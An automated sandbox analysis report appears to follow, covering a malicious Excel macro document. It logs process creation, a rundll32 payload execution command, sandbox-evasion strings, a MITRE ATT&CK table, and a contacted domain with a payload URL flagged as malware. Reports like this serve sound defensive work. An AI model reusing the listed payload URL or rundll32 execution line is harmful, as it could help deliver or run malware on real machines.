Classification label: mal84.troj.expl.evad.winXLSM@3/11@1/1

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{5F1BED83-CEAE-4125-B6EB-77C167840732} - OProcSessId.dat

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\Flopers.GGRRDDFF,DllRegisterServer

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Refusal-743510550-01212021.xlsm	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: Refusal-743510550-01212021.xlsm	Initial sample: OLE zip file path = xl/media/image1.png
Source: Refusal-743510550-01212021.xlsm	Initial sample: OLE zip file path = xl/media/image3.png
Source: Refusal-743510550-01212021.xlsm	Initial sample: OLE zip file path = xl/media/image2.png
Source: Refusal-743510550-01212021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: Refusal-743510550-01212021.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin
Source: Refusal-743510550-01212021.xlsm	Initial sample: OLE zip file path = xl/calcChain.xml

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Hooking and other Techniques for Hiding and Protection:

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Source: rundll32.exe, 00000003.00000002.256342657.0000000004B50000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: rundll32.exe, 00000003.00000002.256342657.0000000004B50000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: rundll32.exe, 00000003.00000002.256342657.0000000004B50000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: rundll32.exe, 00000003.00000002.256342657.0000000004B50000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Replication Through Removable Media1	Scripting11	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	Security Software Discovery1	Replication Through Removable Media1	Data from Local System	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution23	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Peripheral Device Discovery11	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection1	Security Account Manager	File and Directory Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting11	NTDS	System Information Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Rundll321	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
toteteca.com	10%	Virustotal		Browse
www.toteteca.com	6%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.toteteca.com/qzkiodlofm/5555555555.jpg	16%	Virustotal		Browse
http://www.toteteca.com/qzkiodlofm/5555555555.jpg	100%	Avira URL Cloud	malware
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://wus2-000.contentsync.	0%	URL Reputation	safe
https://wus2-000.contentsync.	0%	URL Reputation	safe
https://wus2-000.contentsync.	0%	URL Reputation	safe
https://wus2-000.contentsync.	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://powerlift.acompli.net	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://cortana.ai	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://ofcrecsvcapi-int.azurewebsites.net/	0%	Avira URL Cloud	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://powerlift-frontdesk.acompli.net	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	Avira URL Cloud	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://wus2-000.pagecontentsync.	0%	URL Reputation	safe
https://wus2-000.pagecontentsync.	0%	URL Reputation	safe
https://wus2-000.pagecontentsync.	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://dev0-api.acompli.net/autodetect	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://dataservice.o365filtering.com/	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://officesetup.getmicrosoftkey.com	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://prod-global-autodetect.acompli.net/autodetect	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://apis.live.net/v5.0/	0%	URL Reputation	safe
https://asgsmsproxyapi.azurewebsites.net/	0%	Avira URL Cloud	safe
https://ncus-000.contentsync.	0%	URL Reputation	safe
https://ncus-000.contentsync.	0%	URL Reputation	safe
https://ncus-000.contentsync.	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://dataservice.o365filtering.com	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://ovisualuiapp.azurewebsites.net/pbiagave/	0%	Avira URL Cloud	safe
https://directory.services.	0%	URL Reputation	safe
https://directory.services.	0%	URL Reputation	safe
https://directory.services.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
toteteca.com	172.107.2.98	true	true	10%, Virustotal, Browse	unknown
www.toteteca.com	unknown	unknown	true	6%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.toteteca.com/qzkiodlofm/5555555555.jpg	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.diagnosticssdf.office.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://login.microsoftonline.com/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://shell.suite.office.com:1443	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://autodiscover-s.outlook.com/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://cdn.entity.	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.addins.omex.office.net/appinfo/query	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://wus2-000.contentsync.	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/tenantassociationkey	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://powerlift.acompli.net	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://cortana.ai	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://cloudfiles.onenote.com/upload.aspx	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://entitlement.diagnosticssdf.office.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://api.aadrm.com/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ofcrecsvcapi-int.azurewebsites.net/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	Avira URL Cloud: safe	unknown
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://api.microsoftstream.com/api/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://cr.office.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://portal.office.com/account/?ref=ClientMeControl	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://ecs.office.com/config/v2/Office	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://graph.ppe.windows.net	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://res.getmicrosoftkey.com/api/redemptionevents	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://powerlift-frontdesk.acompli.net	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://tasks.office.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://officeci.azurewebsites.net/api/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	Avira URL Cloud: safe	unknown
https://sr.outlook.office.net/ws/speech/recognize/assistant/work	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://store.office.cn/addinstemplate	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://wus2-000.pagecontentsync.	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office.com/autosuggest/api/v1/init?cvid=	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://globaldisco.crm.dynamics.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://store.officeppe.com/addinstemplate	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://dev0-api.acompli.net/autodetect	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.odwebp.svc.ms	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.powerbi.com/v1.0/myorg/groups	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://web.microsoftstream.com/video/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://graph.windows.net	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://dataservice.o365filtering.com/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://officesetup.getmicrosoftkey.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://analysis.windows.net/powerbi/api	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://prod-global-autodetect.acompli.net/autodetect	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://outlook.office365.com/autodiscover/autodiscover.json	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
http://weather.service.msn.com/data.aspx	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://apis.live.net/v5.0/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://management.azure.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://incidents.diagnostics.office.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://clients.config.office.net/user/v1.0/ios	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://insertmedia.bing.office.net/odc/insertmedia	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://o365auditrealtimeingestion.manage.office.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://outlook.office365.com/api/v1.0/me/Activities	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://api.office.net	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://incidents.diagnosticssdf.office.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://asgsmsproxyapi.azurewebsites.net/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	Avira URL Cloud: safe	unknown
https://clients.config.office.net/user/v1.0/android/policies	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://entitlement.diagnostics.office.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://outlook.office.com/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://storage.live.com/clientlogs/uploadlocation	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://templatelogging.office.com/client/log	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://outlook.office365.com/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://webshell.suite.office.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://management.azure.com/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://ncus-000.contentsync.	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://login.windows.net/common/oauth2/authorize	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://graph.windows.net/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://api.powerbi.com/beta/myorg/imports	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://devnull.onenote.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://messaging.office.com/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://contentstorage.omex.office.net/addinclassifier/officeentities	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://augloop.office.com/v2	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://skyapi.live.net/Activity/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://clients.config.office.net/user/v1.0/mac	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://dataservice.o365filtering.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.cortana.ai	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://onedrive.live.com	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://ovisualuiapp.azurewebsites.net/pbiagave/	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	Avira URL Cloud: safe	unknown
https://visio.uservoice.com/forums/368202-visio-on-devices	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false		high
https://directory.services.	47DB79C7-3182-45D7-9E77-20E9958CA999.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
